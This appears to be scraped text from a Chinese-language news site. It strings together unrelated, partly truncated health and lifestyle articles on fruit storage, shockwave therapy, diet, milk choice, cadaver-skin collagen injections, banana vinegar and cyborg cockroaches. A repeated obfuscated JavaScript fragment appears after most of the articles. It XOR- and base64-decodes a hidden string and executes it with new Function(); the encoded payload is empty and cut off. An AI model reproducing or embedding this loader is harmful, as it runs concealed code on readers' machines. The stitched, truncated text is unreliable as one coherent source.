近日有不少本地网民大吐苦水，指买水蜜桃回家摆放数天后，切开准备食用时竟发现果肉已经全烂。到底水蜜桃应该怎样保存？买回家后直接放进雪柜是否大错特错？ 水蜜桃正确保存法 乱按检查成熟度超易烂！ 据日媒《grapee》报道，不少人习惯将超市买回来的水蜜桃直接放进雪柜，但原来这个习惯随时令你错过水蜜桃的最佳风味。来自日本爱知县的全国知名水果三文治店“Da Cafe”，其蔬果商教大家水蜜桃的正确保存秘诀，助避开常见误区：   水蜜桃正确保存法 1.买回家切忌即入雪柜 储存水蜜桃最常见的致命错误，就是买回来后立即放入雪柜。若水蜜桃摸上手仍然偏硬，放在室温下催熟会令味道更佳。摆放位置的基本原则是避开阳光直射或高温环境；同时亦不建议放在冷气直吹的地方，以免空气干燥抽干果实水分。最理想的环境是凉爽且通风的阴凉处。一般而言，催熟约需2至4天，但判断熟度不应单靠日数，而是要留意其香气和柔软度。 2.入雪柜黄金时机 何时才是放入雪柜的最佳时机？当明显闻到水蜜桃散发出甜香，且轻触时感觉稍微变软，就代表已经熟透，此时便应将其转移到雪柜冷藏。由于水蜜桃不易保存，建议放入雪柜后1至2天内尽快食用；即使不打算立即进食，熟透后亦必须冷藏以防变坏。为延长保鲜期，放入雪柜前有一大秘诀：先用厨房纸或报纸将水蜜桃包裹好，防止水分流失，然后套上胶袋，最后放进雪柜的蔬果保鲜格。 这样能避免果肉直接接触冷空气，有效保持鲜度。 3.食用前必做1步 带出极致鲜甜 水蜜桃若冷藏时间过长，其香气和甜度都会大打折扣。建议最理想的做法是在食用前才将水蜜桃放入雪柜冷藏1至2小时。若水蜜桃已经长时间冷藏，建议在进食前10至20分钟先从雪柜取出，让其稍微回复至室温，这样更能品尝到水蜜桃天然的香气与甜味。 4.乱按检查超易烂 很多人喜欢用手指反复按压来检查果实是否熟透，这其实是大忌。水蜜桃极度娇贵脆弱，一旦用力按压，果肉组织就会受损并开始腐烂变黑。因此，检查硬度时务必轻力触碰，切勿用力挤压。 资料来源：《grapee》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

在现今快节奏的都市生活中，痛症几乎成了每个香港人的“随身物”。注册脊医王俊华向《星岛头条》分享，近年冲击波治疗（Shockwave Therapy）在临床上的应用愈趋普及，无论是运动员或长期久坐的上班族，均对这项技术寄予厚望。然而，随着相关仪器在坊间美容院、推拿店甚至健身房的广告铺天盖地，他特别拆解这项治疗的原理与风险，提醒市民冲击波属于严谨的医疗仪器，专业诊断与安全性绝对不容妥协。 冲击波的原理是甚么？ 王医生指出，冲击波并非普通的按摩仪，而是一种高能量声波。当身体软组织受伤后，若修复过程因血液循环不良或反复劳损而停滞，例如慢性肌腱炎，患处会形成杂乱的疤痕组织，导致长期疼痛。冲击波的原理在于“破坏与重建”，透过高能量震波产生物理应力，精准地令患处产生受控的“微创伤”，从而骗过大脑，重新启动停摆的自愈机制，诱导血管新生并带动代谢循环。同时，高能量震波能干扰痛觉受体的传导，达到即时止痛的临床效果。 冲击波有效治疗5大痛症 王医生表示，冲击波对于处理“筋腱钙化”及“慢性劳损”有极佳表现，常见的适应症包括：   冲击波有效治疗5大痛症： ●足底筋膜炎：针对早上落床脚踭着地第一步的剧痛，冲击波能有效松解紧绷的筋膜。 ●网球肘、高尔夫球肘：修复长期过劳导致的肌腱变性与慢性炎症。 ●五十肩与肩夹挤症候群：帮助松解黏连的关节囊，改善活动度。 ●钙化性肌腱炎：透过震波物理性地击碎积聚的钙化物。 ●深层肌肉劳损：例如斜方肌（肩颈）或竖脊肌（腰背）的深层激痛点（Trigger Points）。 冲击波治疗中的聚焦式/扩散式有何分别？ 市民未必清楚，冲击波其实分为两大类，选择时必须根据病灶深度而定： 1.聚焦式（Focused）：能量能穿透深层组织，精准打击钙化点或深层筋腱，通常由医疗人员操作，对严重痛症效果更佳。 2.扩散式（Radial）：能量呈放射状散开，适合处理表层肌肉放松。 他提醒，坊间许多非医疗机构提供的多为低能量或扩散式设备，若用来处理深层的筋腱钙化，效果往往差强人意。 坊间冲击波治疗仪器藏陷阱 目前市面上冲击波广告繁多，不少人误以为“有震动就是治疗”，这其实存在极大风险： 诊断不明确：冲击波并非万灵丹。若痛症源于骨折、神经受压、急性发炎或感染，盲目施加冲击波只会适得其反，令病情恶化。 操作不当风险：若治疗位置太接近大血管或神经丛，由非专业人员操作可能导致不必要的损伤。 严格禁忌症：若将冲击波施加于孕妇、已安装心脏起搏器者、凝血功能障碍或患处有肿瘤的患者身上，后果极其严重。 把握“黄金康复期”防复发 王医生指出，一个完整的冲击波疗程通常需6至8次，每次相隔2至5天。治疗时患者会感到“酸麻胀痛”，痛感维持在6至7分属理想水平。治疗后，患处可能出现短暂红肿或轻微瘀伤，此乃正常生理反应。 他经常提醒病友，冲击波只是“开启康复的大门”，后续必须配合功能性伸展与姿势纠正，才能标本兼治，防止痛症复发。最后，王医生重申，冲击波是治痛利器，但必须建立在正确的医疗诊断之上。市民在选择治疗前，务必咨询专业医护人员，确保“对症下药”，切勿让盲目的治疗增加身体的负担。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

【星岛综合报道】来自25支队伍的数百名桨板运动员参加了今年由素里纪念医院基金会举办的“新月海滩冠军赛”（Champion of the Crescent）桨板比赛，并为素里纪念医院 (SMH) 的青少年心理健康项目筹集了213,545元。这项基金会标志性的夏季筹款活动于上周四在素里新月海滩的布莱基斯皮特公园 (Blackie Spit Park) 举行。 素里纪念医院是低陆平原地区青少年急性心理健康护理中心，透过包括儿童和青少年精神稳定中心 (CAPSU)、青少年日间治疗项目 (ADTP) 和青少年精神科病房 (APU) 在内的专业项目，为来自低陆平原各地的儿童和青少年提供支持。 由EllisDon赞助的“新月海滩冠军赛”旨在支持素里纪念医院的青少年心理健康项目，改善早期干预，使青少年能够及时获得护理，并扩大他们获得专业服务和关键过渡支持的途径，例如后续护理、重返校园以及在他们回家后获得社区项目支持。 “我们衷心感谢所有企业赞助商、捐赠者和桨板爱好者们的持续支持，正是他们的慷慨解囊才使得此次筹款活动取得了圆满成功。”素里纪念医院总裁(Nicole Robson)表示：“筹集的资金将用于加强素里纪念医院的区域青少年心理健康项目，帮助医护团队更好地支持面临心理健康挑战的儿童和青少年。” 素里是卑诗省最年轻、发展最快的城市之一，预计在2030年成为卑诗省最大的城市。素里也是全省青少年人口最多的城市之一，拥有超过12.9万名19岁以下的儿童和青少年（约占该市人口的23%）。  素里纪念医院每年有6000名婴儿出生，因此，支持该地区儿童和青少年的需求比以往任何时候都更加迫切。据估计，加拿大有120万儿童和青少年受到精神疾病的影响，到25岁时，这一数字上升至750万人(约占加拿大人口的五分之一)。令人痛心的是，70%的精神疾病患者的症状在18岁前就已经出现。 素里医院青少年心理健康和药物使用服务临床营运经理Paula Sandhu解释道：“今年，我们正在为我们的多学科护理团队投资于有科学依据的、基于创伤的、基于证据的培训计划、指导机会和同伴辅导。这些举措将帮助我们的员工获得有效应对涉及儿童和青少年的复杂情况所需的工具和信心。” (图：受访者提供) V02

以为吃得健康就能成功减肥，结果体重不跌反升！有医生盘点6大健康食物，暗藏热量陷阱，若不控制份量，随时越吃越肥，其中连三文鱼、鸡蛋都上榜。 医生揭6大食物藏热量陷阱 鸡蛋/三文鱼皆上榜！ 内分泌新陈代谢科医生蔡明劼在Facebook撰文指，不少人以为只要是健康的食物，多吃一点也无妨，结果体重却不跌反升，这其实是许多人最常跌入的减脂陷阱。部分食物虽然营养满分，含有优质脂肪、蛋白质、纤维与微量元素，与珍珠奶茶、炸鸡等毫无营养的“空热量”垃圾食物完全不同，被医学界称为“高营养密度”食物。然而，它们的热量密度同样惊人，他点名以下6大健康食物，建议大众绝对放心食用，但务必严格“酌量”进食：   6大食物藏热量陷阱 1.牛油果 牛油果含有丰富的单不饱和脂肪酸，对心血管极为有益。但切记它在营养分类上属于油脂类，一个中型牛油果的热量，已轻松超过一碗白饭。建议应将其视作“油脂”来取代日常炒菜油，绝对不能当成水果大量进食。 2.坚果类 腰果、核桃、杏仁等果仁是优质矿物质与维他命E的来源。然而，它们体积细小且口感香脆，一不小心极易吃掉大半罐。建议每日一小把，约半个手掌心份量便已足够。 3.黑朱古力（85%以上） 黑朱古力富含黄酮类化合物，具抗氧化功效兼有助放松心情。坊间常指吃朱古力有助燃脂，但其实可可脂本身就是脂肪，大部分人往往越吃越肥，很少看到有人因此减肥成功。建议每日吃1至2小口当作享受即可，若吃掉一整包便会对身体造成极大负担。 4.全脂鲜奶 全脂鲜奶能提供较佳的饱足感，且含有维他命A、D及K。蔡医生表示，他一向推荐大众饮用全脂鲜奶或进食乳酪，不过乳制品累积起来的热量绝对不容小觑。每日饮用1至2杯即可，切忌当水喝；或可替换成低脂奶，以降低油脂摄取量。 5.三文鱼 三文鱼富含深海鱼油Omega-3，对大脑健康及抗发炎非常有帮助。但三文鱼属于油脂含量较高的鱼类，热量比一般白肉鱼，如鳕鱼、鲷鱼高出不少。虽然它是极佳的食材，但若该餐已进食了三文鱼，其他菜式就必须减少放油。 6.全个鸡蛋 蛋黄是鸡蛋的营养精华，含有胆碱和叶黄素。至于蛋黄会否导致胆固醇上升，则因个人体质而有极大差异。但无可否认，一只鸡蛋约有75kcal，且大部分集中在蛋黄。建议正常成年人一日进食1至2只并没有问题，但若该餐已摄取足够的蛋白质，便需要控制鸡蛋的食用量。 蔡医生强调，要避开致肥陷阱，最核心的关键在于“取代”。这些优质的健康食物，应用作“取代”餐盘中不健康的加工食品，而不是在正餐吃饱后，再额外“叠加”当作小食或点心。因为再健康的食物，只要热量超过身体所需，最终都会转化为脂肪。 减肥要摄取均衡营养 7大营养不可或缺 据香港衞生署资料，7大类营养素在身体中的功用各异，要透过均衡饮食令它们互相配搭，身体才会健康，所以各种营养素都是不可或缺的。以下列出这些营养素的主要功用： 1. 碳水化合物 碳水化合物为身体的主要热量来源，主要由谷物类食物提供，例如饭、粉面等。而水果、根茎类蔬菜、干豆类和奶类制品等。 2. 蛋白质 肉、鱼、海产、蛋、奶类制品、干豆类和豆制品是蛋白质主要来源，功能包括制造、修补及维持健康的身体组织。 3. 脂肪 脂肪常见于肉、鱼、奶类制品、果仁、种子及食油等食物中。它使身体能在寒冷天气中保持体温及保护体内器官免受震荡。 4. 维他命 不同种类食物的维他命，能促进身体机能，如维持皮肤毛发健康，构成骨骼，以及释放和运用食物中的热量。 5. 矿物质 矿物质能调节身体多项功能，包括体液平衡、肌肉收缩及神经讯号传送。某些矿物质亦是身体结构的元素，例如钙质是骨骼和牙齿的一部分。 6. 膳食纤维 膳食纤维有助稳定血糖，促进肠道健康并预防便秘。 7. 水分 主要功能包括调节体温、制造体液、输送养分、氧气及移走废物。 资料来源：内分泌新陈代谢科医生蔡明劼、衞生署   T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

在追求均衡营养与牛奶健康的日常饮食中，市民选购牛奶时，究竟应该选择低脂还是全脂？桃园文新诊所院长戴晓芙医生指出，许多人在购买牛奶时，往往会直觉性地选择低脂产品。然而根据近年多项医学研究发现，全脂牛奶与心血管疾病之间的关系，远比想像中更加复杂。若属血脂正常、体重稳定的一般健康成年人，每天仅饮用一杯，全脂牛奶并非不可选择。不过她亦特别提醒，有五类人士在日常生活中更适合饮用低脂牛奶。 全脂牛奶脂肪含量较高 近年研究显示其影响非绝对 戴晓芙医生于其 Facebook 专页“Dr.戴晓芙丨耳鼻喉 x 生活医学观察所”发文分享指出，全脂牛奶因脂肪含量较高，且含有较多饱和脂肪，因此过去经常被大众直觉性地标签为“一定比较不健康”。近年愈来愈多医学研究显示，全脂牛奶对心血管疾病的实际影响，并不能单纯以脂肪多寡来一概而论。 选择牛奶种类应视乎个人体质 5类人士建议优先选择低脂 戴医生说明，挑选全脂或低脂牛奶的关键，并非在于哪一种具有绝对的健康优势，而是应视乎个人的体质与营养需求。若市民属于以下五类情况之一，建议选择低脂牛奶更为合适： 低密度脂蛋白（LDL）坏胆固醇偏高的人士 已患有心血管疾病或属于高风险群组 正在进行体重控制或需要严格管理热量摄取 每天习惯饮用大量牛奶的人士 日常饮食中经常摄取油炸食物、牛油、加工肉品及甜品的人士 牛奶营养成分发挥综合作用 国际权威指引仍建议控制饱和脂肪 戴医生补充，牛奶并非仅由单纯的脂肪组成，它同时富含优质蛋白质、钙质、磷质及其他乳制品成分。这些营养素一同进入人体后，对健康产生的综合影响，与单纯摄取饱和脂肪酸并不完全相同。不过，若希望遵循目前大多数传统营养学指引，采取较为保守安全的饮食方式，低脂牛奶依然是首选。对于血脂正常、体重维持稳定的健康成年人而言，若每天只饮用一杯牛奶，全脂牛奶亦可放心饮用。 她同时提醒，美国心脏学会（AHA）目前依然建议公众应适度限制饱和脂肪的摄取量；而《北欧营养建议 2023》（Nordic Nutrition Recommendations 2023）亦同样以低脂乳制品作为一般大众的优先推荐选择。 特殊族群应咨询医生意见 戴医生最后总结，上述的选购建议主要适用于一般健康成年人。至于发育中的儿童、怀孕妇女、长者以及各类慢性疾病患者，其牛奶的选择仍应根据个人独特的营养需求，并咨询专业医生或注册营养师的意见作适当调整，方能兼顾整体营养与身体健康。 资料来源：Dr.戴晓芙丨耳鼻喉 x 生活医学观察所 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var...

都市人感到肚饿的原因其实有很多种，但“肚饿”并不一定代表身体真的需要食物。营养功能医学专家刘博仁医生日前在Facebook专页分享一个案例，指出不少人在晚上突然想找东西吃，未必是身体缺乏热量，而是大脑与情绪在发出求救讯号。 45岁妇工作压力大 诱发夜间食欲心理 刘医生分享，日前一位45岁的女性前来求诊，并困惑地表示自己每天晚上九点左右，总是忍不住想找食物吃。尽管晚餐吃得相当正常，但到了入夜，依然非常渴望吃饼干、朱古力甚至即食面。该名女士一度担心是自己的胃口变大，但刘医生告诉她，很多时候感到饥饿的并非胃部，而是大脑。 经详细问诊后发现，该名女士近期工作繁重、压力极大，且每天往往要到深夜一点才能入睡。刘医生指出，很多都市人误以为肚饿只是单纯的热量不足，但事实上，人类的食欲除了由胃部控制外，大脑、荷尔蒙、睡眠质素以及个人情绪均扮演着关键角色。 睡眠不足致促进食欲的“饥饿素”浓度上升 当人体承受巨大压力时，体内会分泌较多皮质醇，这种荷尔蒙会让人更容易渴望摄取甜品、淀粉类或高热量食物。另一方面，睡眠不足会导致促进食欲的“饥饿素”（Ghrelin）浓度上升，同时令抑制食欲的“瘦素”（Leptin）浓度下降，使人在生理上自然更容易感到饥饿。因此，人在疲惫时真正需要的往往不是多吃一件蛋糕，而是多睡一小时。 此外，还有一种常见的情况称为“情绪性饥饿”。不少人在心情欠佳、工作压力大、感到孤独或看电视时，会习惯性地将食物塞进口中。这种嘴巴不停进食的行为，并不代表身体真正需要热量，很多时候人们只是希望透过食物带来片刻的心理安慰。 3招自我检视分辨“生理饥饿”、“情绪饥饿” 为了帮助市民分辨自己是“生理饥饿”还是“情绪饥饿”，刘医生建议在想吃东西时，可以先问自己3个问题： 第一，如果眼前只有一只普通的熟水煮蛋，自己是否愿意吃？如果内心回答“不愿意，我只想吃蛋糕”，那极可能并非生理上饥饿。第二，思考是否刚吃完正餐不到两小时，又开始想吃东西？第三，试试先饮一杯清水或散步十分钟，观察那股食欲是否会逐渐消退。在很多情况下，经过短暂休息或补充水分后，那种突如其来的饥饿感便会自然消失。 刘医生强调，真正照顾身体健康，不仅仅是严格控制进食份量，更重要的是理解自己“为什么想吃”。有时候身体需要的只是适当休息、陪伴，或是放下当天的压力，而非打开雪柜找食物。真正的健康，不仅是学会如何饮食，更是学会理解自己的身体。 资料来源：营养功能医学专家刘博仁 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

打医美针越来越普遍，但由尸体皮肤提炼而成的抗老针，你又敢不敢打？近年韩国医美界掀起“从遗体捐赠者的皮肤提取胶原蛋白”再制成抗老针剂，称可以逆龄兼重返20岁。目前这款“尸皮针”已引入南韩、新加坡、日本、美国等地，更有网红打完大赞“皮肤更滑溜”、“媲美BB嫩肌”。 尸皮针｜遗体皮肤制成胶原蛋白、称重建肌底 外媒报道，这项名为 Elravie Re2O（意即Return to your 20s）的疗程，自2024年底推出以来迅速引起关注，Re2O是先从美国遗体捐赠者身上采集皮肤，送往实验室去除所有细胞物质，仅留下“细胞外基质”——即含有胶原蛋白、弹性蛋白、玻尿酸和黏着性糖蛋白的“天然支架”，让患者自身的皮肤细胞依附并生长。 首尔DoD皮肤科诊所的皮肤科医生Kim Han-saem表示，处理过的皮肤组织已去除所有细胞，目的在于防止免疫排斥和过敏反应。与传统皮肤促进剂（如Rejuran丽珠兰）仅刺激皮肤产生弹性蛋白和胶原蛋白不同，Re2O不仅发出修复信号，而是提供结构性支架，帮助重建皮肤基底。 尸皮针｜网红热捧 大赞皮肤滑溜、媲美BB肌 在首尔接受疗程的化妆师NamVo在TikTok分享：“我真希望自己有打镇静剂，因为真的痛死了。但到了第三天，看起来就像初生宝宝嫩肌。虽然过程折磨，但我百分百愿意再来一次。” （图：madeinkorea____@TikTok、namvoglow@TikTok） 另一名接受疗程的Tiktok网红Sara Yoon则表示，效果显著：“如果你的年纪稍长，皮肤偏干且较薄，值得尝试，你会看到更立即的效果。外国Reddit上亦有用户分享：“第二周，我明显感觉脸部触感有显著变化，皮肤非常滑溜细致。到了第六周，毛孔细致的效果不容否认，粉底均匀滑过，不再卡在凹洞里——对我的肤质来说简直是终极胜利。” 尸皮针｜遗体捐赠方是否知情？未获美国FDA批准？ 有批评者质疑，当这些组织可用于乳房重建或烧烫伤治疗等重要重建手术时，是否应将其用于医美用途。制造商表示，仅使用已取得医美用途同意书的捐赠组织，但遗体捐赠者是否完全理解其用途，仍引发伦理关注。 在监管方面，在韩国此类产品被归类为“人体组织”而非“医疗器材”，无需食品医药品安全部门批准、即可供应，这解释了它为何迅速“爆红”同时也引发争议。部分诊所在透明度与沟通上亦存在问题，首尔DoD皮肤科诊所医疗总监Lee Joon医生指：“诊所有义务揭露原料来源，但有些诊所却使用‘顶级胶原蛋白’等委婉说法。” 目前，Re2O尚未获得美国食品药物管理局（FDA）的批准，目前除了南韩，新加坡和日本等地也已引进，部分纽约的医美诊所已经开始提供这项疗程，制造商希望能在2027年正式将这项疗程引入美国市场。 尸皮针｜英国监管严格 短期内难上市 业界指出，这类产品在英国会被归类为药品，必须通过药物及保健产品管理局（MHRA）的严格评估，且MHRA不太可能批准这类产品在英国使用。Lee Joon医生亦认为，英国在规范下，对使用遗体组织用于医美注射的门槛要高得多。 目前英国已有许多合法且争议较小的胶原蛋白刺激疗程，当中的重组胶原蛋白在实验室中以基因工程细胞生产，非取自人体或动物组织，被视为更安全、更道德的注射替代方案。 资料来源：综合报道 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

都市人对健康食材的运用，早已由单纯的“单一摄取”升级至“精准配对”。富含钾质与膳食纤维的香蕉，向来是消暑护肠的健康首选，但原来只要配搭适当的食材，其健康效益将倍增。日本著名健康食谱专家村上祥子，以82岁高龄依然展现惊人活力的秘密，正正隐藏在一瓶陈放多年的“香蕉醋”。这份独门配方利用黑醋活化人体能量代谢，配合香蕉营养，打造出高效的肠道清理系统。不少体验者表示，仅需连续饮用一星期，便秘与慢性疲劳感均获得显著改善。 香蕉醋健康原理公开 以设计健康食谱而闻名的烹饪专家村上祥子，即便已届82岁高龄，依然相当活跃。她笑言无论工作多么忙碌，自己都很少感到疲倦，这种充沛的活力甚至连 30 多岁的年轻同事都感到惊讶。她指出，能保持健康活力的关键，自己原创的“香蕉醋”功不可没。 香蕉配搭黑醋的健康原理，在于同时摄取糖与醋能有效活化体内产生能量的代谢过程；加上香蕉本身含有大量的钾质与膳食纤维，能显著改善肠道环境。由于肠道不仅负责吸收营养，还承担着清除体内废物的重任，因此维持肠道健康是身体健康的基石。根据村上老师与其学生的亲身体验，连续饮用香蕉醋一星期后，肠道排便情况明显改善，身体亦变得不易疲倦。 香蕉醋制作指南 方法超简单！ 制作香蕉醋的材料非常简单，只需准备 1 条香蕉（约 100 克）、100 克红糖以及 200 毫升黑醋。首先将香蕉切成块状，与红糖一同倒入干净的玻璃瓶中，随后倒入黑醋。将容器放入微波炉加热（600W 加热 30 秒，或 500W 加热 40 秒），取出后立即盖紧瓶盖，静置放置 12 小时即可完成。 在饮用与保存方面，建议以 4 汤匙清水稀释 1 汤匙香蕉醋，于每天早晚各饮用一次；该醋亦可用作日常烹饪调味，在常温下约可保存一年。需要注意的是，香蕉若长时间暴露于空气中容易发霉，因此浸泡时应尽量避免让香蕉浮于液面；大约放置两周后，便可将内里的香蕉块捞出。   3种倍增香蕉功效配搭 自然疗法专家阿当斯基博士亦推荐3种能倍升香蕉功效的惊喜配搭： 第1种...

由新加坡南洋理工大学（NTU）与日本早稻田大学组成的研究团队，研发出一款专为半机械曱甴（Cyborg Cockroach）设计的柔性“潜水衣”，配备微型供氧系统，可让曱甴在水底或低氧环境下持续生存长达3小时，令这种生物混合机械人（Biohybrid Robot）由陆上活动扩展至水陆两栖，未来有望应用于水浸灾区搜救、基建巡检及狭窄空间探索。 所谓半机械曱甴，是在活体昆虫身上安装微型电子装置，包括微控制器、无线接收器及电源等，再透过植入触角的微型电极，以低电压脉冲刺激昆虫的自然避障反应，遥距控制其移动方向。研究人员亦可加入定位、环境监测、视觉测绘及数据收集等功能，使昆虫成为具备自主移动能力的生物机械平台。 研究团队指出，相较于微型机械人，半机械昆虫利用本身的肌肉驱动移动，只需极低电力控制方向，因此续航时间可由数天至数星期，远胜依靠微型马达及电池运作的机械人。此外，曱甴经过数亿年演化，具备极强的适应能力，可穿越狭窄缝隙、攀爬垂直表面、翻身自救，亦能承受远高于一般微型机械人的冲击，因此一直被视为灾害救援及巡检工作的理想平台。 最新开发的潜水衣由三部分组成，包括3D列印氧气产生器、柔软防水外壳，以及四条连接曱甴胸部气门的矽胶导管。整套装置可防止积水进入呼吸系统，同时持续向昆虫输送氧气，而不影响其自然活动能力。 氧气并非预先储存，而是利用化学反应即时产生。研究人员在氧气产生器内放入覆有二氧化锰催化剂的海绵，再注入少量稀释过氧化氢。当两者接触后，过氧化氢会迅速分解成水及氧气，再经由导管直接输送至曱甴气门，令牠即使身处水底或低氧环境，仍可维持正常呼吸。 研究以体型较大、没有翅膀的马达加斯加嘶叫曱甴作测试。实验模拟水浸隧道及低氧空间，结果显示穿上潜水衣的半机械曱甴可在水底保持活动长达3小时，成功由只能在陆地活动，扩展至可穿越干燥及水浸地形。   研究团队表示，半机械昆虫过去已曾参与真实搜救行动，包括缅甸7.7级地震后的搜救任务。加入水下呼吸能力后，未来可进一步深入被洪水淹没的瓦砾、排水管道及狭窄缝隙搜寻生还者，或执行基建巡检等工作。团队下一步将提升潜水衣耐用性、研究适用于更多昆虫品种，并整合更多感测器，进一步提升功能。 研究成果已发表于《Nature Communications》，研究团队表示，所有实验均遵循动物研究指引，过程中并无昆虫受到伤害。   图片：Nanyang Technological University T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

每次洗衣服都习惯加柔顺剂，以为一定又香又滑？有品牌指出，柔顺剂有4大使用陷阱，其中运动服、内衣一旦加错，不但会破坏衣物排汗吸水功能，更会令细菌及化学物残留，随时越洗越臭。 柔顺剂4大使用陷阱 运动服/内衣恐越洗越臭！ 据日媒《grapee》报道，不少人习惯每次洗衣服都会倒入柔顺剂，贪其洗完又香又软。日本洗涤用品品牌“Spica Corporation”指出，柔顺剂虽然能令衣物变得柔软、减少静电及散发宜人香味，但其实并非每次洗衫都必须使用。该品牌盘点出日常洗衣服使用柔顺剂的4大陷阱：   柔顺剂4大使用陷阱 1.运动服及功能性衣物忌乱加 使用柔顺剂时，必须特别留意衣物的材质。内衣、运动服，以及标榜“吸水速干”或具有“防水透气”功能的衣物，应尽量避免使用。因为柔顺剂的作用原理，是将顺滑的化学成分附着在纤维表面，这层薄膜会严重破坏布料原有的吸水性、快干度及防水透气功能。建议洗衣服前，最好先查看衣物上的洗衣标签。 2.根据毛巾的状况使用柔顺剂 很多人为了令毛巾保持柔软而猛加柔顺剂，但这反而会大大降低毛巾的吸水力。当柔顺剂成分残留在纤维表面，不仅会令吸水力下降、晾干速度变慢，更可能把毛巾的绒毛压扁，令毛巾失去原本的蓬松感。建议应根据毛巾的状况酌情使用：若感觉毛巾变硬，只须加入极少量即可；若注重吸水功能，则尽量避免使用。 3.注意不要添加过量或使用浓烈香料的柔顺剂 加多点柔顺剂并不代表效果更好，倒入超过建议份量的柔顺剂，反而会令衣物难以晾干。更严重的是，过量使用会在洗衣机滚筒及柔顺剂格内留下大量残留物。这些残留化学物一旦与洗衣液残留、人体皮脂及水分混合，便会变成黏液，疯狂滋生霉菌并引发强烈异味。若发现洗完的衫有异味或黏腻感，除了要减少柔顺剂份量，亦必须定期清洗洗衣机滚筒。 4.残留成分易诱发皮肤敏感 